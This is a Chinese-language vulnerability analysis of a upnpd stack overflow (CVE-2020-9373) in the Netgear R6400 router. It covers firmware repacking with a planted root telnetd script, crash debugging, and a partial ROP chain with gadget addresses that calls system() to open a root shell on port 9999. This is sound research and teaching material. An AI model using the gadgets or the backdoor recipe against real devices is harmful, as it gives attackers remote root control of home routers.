Netgear R6400 upnp栈溢出漏洞分析 – 作者:klovey

一、基本情况

Netgear R6400 多个固件版本中的upnpd存在栈溢出漏洞(CVE-2020-9373),通过向其udp 1900端口发送构造的ssdp数据包,可能导致DOS或RCE。下文的测试均使用V1.0.1.52_1.0.36这本版本的固件包。

Netgear r6400

Netgear R6400 是网件的AC1750无线路由器,2.4GHz和5GHz双频支持,最高带宽1750Mbps(450+1300 Mbps),机身带有一个USB 3.0接口、一个USB 2.0接口。

upnp 协议

通用即插即用(Universal Plug and Play,简称UPnP)是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。UPnP检测协议是基于简单服务发现协议(SSDP)的。

ssdp 协议

简单服务发现协议(SSDP,Simple Service Discovery Protocol)是一种应用层协议,是构成通用即插即用(UPnP)技术的核心协议之一。简单服务发现协议提供了在局部网络里面发现设备的机制。

二、准备工作

2.1 固件分析

binwalk解析

> binwalk R6400-V1.0.1.52_1.0.36.chk
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            TRX firmware header, little endian, image size: 31977472 bytes, CRC32: 0x4BDF38B9, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x201CEC, rootfs offset: 0x0
86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5173344 bytes
2104614       0x201D26        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29869289 bytes, 1645 inodes, blocksize: 131072 bytes, created: 2019-11-07 12:21:09

通过binwalk解析,固件结构比较清晰。固件由netgear header(0x3A字节) +TRX header(0x1c字节)+linux kernel+squashfs文件系统构成。

2.1.1 netgear header

前0x3A字节是netgear自带的header,由于从netgear的开源软件中找到了打包软件,所以并未对其过多分析,但是可以较明显地看出包含版本号,文件大小,校验码等信息。

2.1.2 TRX header

结构示意图:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+---------------------------------------------------------------+
|                     magic number ('HDR0')                     |
+---------------------------------------------------------------+
|                  length (header size + data)                  |
+---------------+---------------+-------------------------------+
|                       32-bit CRC value                        |
+---------------+---------------+-------------------------------+
|           TRX flags           |          TRX version          |
+-------------------------------+-------------------------------+
|                      Partition offset[0]                      |
+---------------------------------------------------------------+
|                      Partition offset[1]                      |
+---------------------------------------------------------------+
|                      Partition offset[2]                      |
+---------------------------------------------------------------+

头结构定义如下:

struct trx_header {
	uint32_t magic;		/* "HDR0" */
	uint32_t len;		/* Length of file including header */
	uint32_t crc32;		/* 32-bit CRC from flag_version to end of file */
	uint32_t flag_version;	/* 0:15 flags, 16:31 version */
	uint32_t offsets[4];	/* Offsets of partitions from start of header */
};

crc32校验是对校验值后所有数据的校验,通过简单验证,

print("0x%x" % ((~zlib.crc32(fp.read()[0x46:])) & 0xffffffff))
> python3 crc32check.py R6400-V1.0.1.52_1.0.36.chk
0x4bdf38b9

发现crc校验值与此前binwalk输出结果一致。

2.2 调试准备

2.2.1 修改固件

R6400路由器本身没有提供shell交互接口,可以通过刷入第三方固件+上传upnpd的方式调试,网上有很多第三方固件的刷机方法,在此不再赘述。笔者利用的方式是直接修改squashfs文件,开启busybox自带的telnetd服务。由于时间有限,并未对整个系统启动过程作详细分析,仅利用对/usr/sbin/dlnad修改替换的简单方法。

# mv squashfs/usr/sbin/dlnad squashfs/usr/sbin/dlnadd
# touch squashfs/usr/bin/dlnad
# chmod +x squashfs/usr/bin/dlnad

替换后的dlna:

 #!/bin/sh

/usr/sbin/telnetd -F -l /bin/sh -p 1234 &
/usr/sbin/dlnadd &

2.2.2 固件打包

R6400提供了部分开源代码,当然可以通过编译生成新的固件,但笔者这里讨巧地利用直接二进制编辑替换原固件中squashfs,再更新TRX header和netgear header的方式,省去ARM交叉编译过程。 TRX需更新crc32校验值和长度,netgear header利用开源工具链中的packet和compatible_r6400.txt工具:

./packet -k %s -f rootfs -b compatible_r6400.txt 
		-ok kernel -oall image -or rootfs -i ambitCfg.h

注意在打包squshfs需指明压缩方式为xz,否则刷机可能出现故障:

mksquashfs squashfs-root squashfs-root.squash -comp xz    

默认生成image.chk就可以刷机了,如果刷机失败导致无法连接可参考本文底部链接救砖。

重新启动后发现telnet 1234端口可以连接,说明刷机成功。

# telnet 192.168.1.1 1234
BusyBox v1.7.2 (2019-11-07 20:19:12 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

三、漏洞发掘

由于漏洞比较明显,是upnpd处理ssdp包时直接利用strcpy复制未经过滤的数据导致的栈溢出,通过二进制危险函数审计就可以发掘。

笔者是利用gihub上的upnp fuzz工具测试发现的(send第二个包就产生了crash)。协议本身比较简单,测试脚本完全可以自行开发,当然利用sulley peach等开源框架也能很快实现,笔者还顺手对dnsmasq和web等作了fuzz测试,由于时间和水平有限,未有结果。

用gdb调试可以看到程序产生了Segmentation fault:

# cd /tmp
# tftp 192.168.1.2 -l gdb -r gdb -g octet
# chmod +x gdb
# ps |grep upnpd
10936 admin      2400 S   upnpd
12580 admin      1316 R   grep upnpd
#./gdb --pid=10936
GNU gdb (GDB) 7.11
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabi".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 15409
Reading symbols from /usr/sbin/upnpd...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libnvram.so...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libacos_shared.so...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libnat.so...(no debugging symbols found)...done.
Reading symbols from /lib/libcrypt.so.0...(no debugging symbols found)...done.
Reading symbols from /lib/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/libc.so.0...(no debugging symbols found)...done.
Reading symbols from /lib/libm.so.0...(no debugging symbols found)...done.
Reading symbols from /lib/ld-uClibc.so.0...(no debugging symbols found)...done.
0x4011f4cc in select () from /lib/libc.so.0
(gdb)c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x401e3954 in strstr () from /lib/libc.so.0
(gdb) backtrace
#0  0x401e3954 in strstr () from /lib/libc.so.0
#1  0x0000b820 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb)i r
r0             0x41414141       1094795585
r1             0xbeeefcc4       3203333316
r2             0xbeeefcc4       3203333316
r3             0x41414141       1094795585
r4             0x41     65
r5             0xbeeefcc0       3203333312
r6             0xbeeefcc4       3203333316
r7             0xbeeefcc0       3203333312
r8             0xbeeefcc4       3203333316
r9             0x30a    778
r10            0x1      1
r11            0xb8f7c  757628
r12            0x4c7ac  313260
sp             0xbeeef678       0xbeeef678
lr             0xb820   47136
pc             0x401e3954       0x401e3954 <strstr+24>
cpsr           0x20000010       536870928

利用ida回溯sub_b820函数发现漏洞可能存在sub_22270的strcpy中:

 text:00022270
.text:00022270                 STMFD           SP!, {R4-R11,LR}
.text:00022274                 SUB             SP, SP, #0x630
.text:00022278                 SUB             SP, SP, #4
.text:0002227C                 MOV             R5, R2
.text:00022280                 ADD             R3, SP, #0x658+s
.text:00022284                 MOV             R2, #0x20
.text:00022288                 STRH            R2, [R3,#0x2C]
.text:0002228C                 MOV             R4, R0
.text:00022290                 LDR             R3, =dword_885DC
.text:00022294                 MOV             R6, R1
.text:00022298                 LDR             R3, [R3]
.text:0002229C                 CMP             R3, #1
.text:000222A0                 MOVEQ           R0, #0
.text:000222A4                 BEQ             loc_22364
.text:000222A8                 ADD             R3, SP, #0x658+var_628
.text:000222AC                 ADD             R7, SP, #0x658+var_28
.text:000222B0                 SUB             R3, R3, #0xC
.text:000222B4                 ADD             R8, SP, #0x658+var_38
.text:000222B8                 STR             R3, [R7,#-8]!
.text:000222BC                 MOV             R1, R4  ; src
.text:000222C0                 MOV             R0, R3  ; dest
.text:000222**                 ADD             R8, R8, #0xC
.text:000222C8                 BL              strcpy
.text:000222CC                 MOV             R0, R7
.text:000222D0                 MOV             R1, R8
.text:000222D4                 BL              sub_B800
.text:000222D8                 SUBS            R10, R0, #0
.text:000222DC                 BEQ             loc_22360 ; jumptable 00022424 default case
.text:000222E0                 LDR             R1, =aMSearch ; "M-SEARCH"
.text:000222E4                 BL              strstr
.text:000

通过在sub_22270函数下断点继续调试,发现漏洞果然存在于此处。由于在考虑长度的情况下将r1指向地址的数据直接复制覆盖r0指向的地址,导致同样存于栈中的r7指向的值被改变,之后取r7指向的值赋给r0(已被覆盖为0x41414141),将r0当作地址取值是因无法读取数据产生Segmentation fault。

四、漏洞利用

4.1 地址随机化

每次加载库地址和栈地址都随机,但存在一些规律,而upnpd的地址是不变的,地址随机化bypass常规思路是构造ROP,需要解决以下两个问题。

4.1.1 字符串截断

upnpd文件较小,最大的地址空间也至少包含一个0x00,字符串截断无法多次跳转。一般思路是加密编码shellcode去掉0x00防止截断,这里笔者利用一个比较简单的方法。由于strcpy前会将参数压栈(ARM是先存寄存器,但指向的buf仍存于内存空间),由于网络中收取的是二进制流不存在截断问题,所以发送的完整数据必然存在于内存空间,可以利用先利用一跳pop栈数据,使栈地址刚好处于构造数据的位置,之后就可以不受0x00影响直接用常规ROP。

在内存中找到没有截断的数据:

(gdb) x/20x 0xbed442e8
0xbed442e8:  0x41414141      0x41414141      0x41414141      0x41414141
0xbed442f8:  0x41414141      0x41414141      0x41414141      0x41414141
0xbed44308:  0x41414141      0x41414141      0x41414141      0x41414141
0xbed44318:  0x41414141      0x42004200      0x42004200      0x00000000

4.1.2 r7地址可读

如果r7地址不可读就会在return前产生Segmentation fault导致程序退出,只达到DOS效果,无法执行命令。同样存在之前的随机化和截断问题。这个问题笔者没能很好的解决,考虑到libc每次的加载地址存在一些规律,均为0x401XX4cc,经过多次尝试,将r7值设为0x401004cc基本可实现需求,但还是存在失败的概率,比如upnpd多次异常重启后libc地址会变成0x402XX4cc,如果童鞋们有好的方法还请不吝赐教。

(gdb) x/10x 0x40100cc
0x401bd25c <select+12>:  0xe3700a01      0xe1a04000      0x9a000003      0xe2644000
0x401bd26c <select+28>:  0xebfff099      0xe5804000      0xe3e04000      0xe1a00004
0x401bd27c <select+44>:  0xe8bd8098      0xe3a02000

4.2 rop构造

解决以上问题后构造ROP就是机械操作了,可以利用pwntools,也可以用ROPgadget等工具构造。笔者利用到的代码如下:

//pop栈内容,使栈地址触及send的数据
.text:00019124                 ADD             SP, SP, #0xDC
.text:00019128                 ADD             SP, SP, #0x800
.text:0001912C                 LDMFD           SP!, {R4-R11,PC}
//将需要执行的命令地址赋给r0
.text:0000CEE4                 MOV             R0, R4  ; s
.text:0000CEE8                 MOV             R1, #0  ; c
.text:0000CEEC                 MOV             R2, R5  ; n
.text:0000CEF0                 BL              memset
.text:0000CEF4                 MOV             R0, R4  ; dest
.text:0000CEF8                 MOV             R1, SP  ; src
.text:0000CEFC                 BL              strcpy
.text:0000CF00                 ADD             SP, SP, #0x400
.text:0000CF04                 LDMFD           SP!, {R4-R6,PC}
//执行system
.text:00017878                 BL              system
.text:0001787C                 MOV             R0, #1

由于r7可读问题没有很好解决,整个ROP注定不完整,所以在执行system成功后就没有继续构造,对于upnpd退出重启等还有进一步操作空间。执行效果如下,可以看到成功在9999端口开启了telnetd,测试可成功连接。

# ps |grep telnet
10912 admin      1292 S   /usr/sbin/telnetd -p 1234
11587 admin      1296 S   sh -c telnetd -F -l /bin/sh -p 9999;
11588 admin      1296 S   telnetd -F -l /bin/sh -p 9999
12280 admin      1316 S   grep telnet

五、简单总结

1、该漏洞不管从发掘到利用都比较简单,适合新手入门,随着网络安全越来越被重视,现在的应用软件很难再发现此种漏洞。遗憾的是r7可读没有很好的解决,如果童鞋们有好的方法请不吝赐教。

2、使用upnp带来方便,但很多实现上都会暴露出安全问题,笔者觉得此类设备在易用性和安全性的平衡点拿捏上还有长路要走,建议如果不需要upnp这类服务就尽量关闭。

3、笔者发现同为Netgear的设备WNDR3400v3也爆出类似漏洞,而且已经存在CVE编号(CVE-2019-14363),应该是用了相似的代码。很多设备都依赖于openwrt/ddwrt二次开发,应用开源软件更是数不胜数,如果想更高效发现漏洞并预警,二进制同源分析也是很值得研究的课题。

4、【github地址

六、参考链接

Netgear官方信息:https://www.netgear.com/about/security/

固件下载:https://www.netgear.com/support/product/R6400.aspx#Firmware Version 1.0.1.32

GPL开源软件下载:http://www.downloads.netgear.com/files/GDC/R6400/R6400-V1.0.1.34_1.0.24.zip

救砖教程:http://koolshare.cn/thread-142232-1-6.html

upnp_fuzzing:https://github.com/w0lfzhang/upnp_fuzzing.git

*本文原创作者:klovey,本文属于FreeBuf原创奖励计划,未经许可禁止转载

来源:freebuf.com 2020-03-15 09:00:28 by: klovey

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论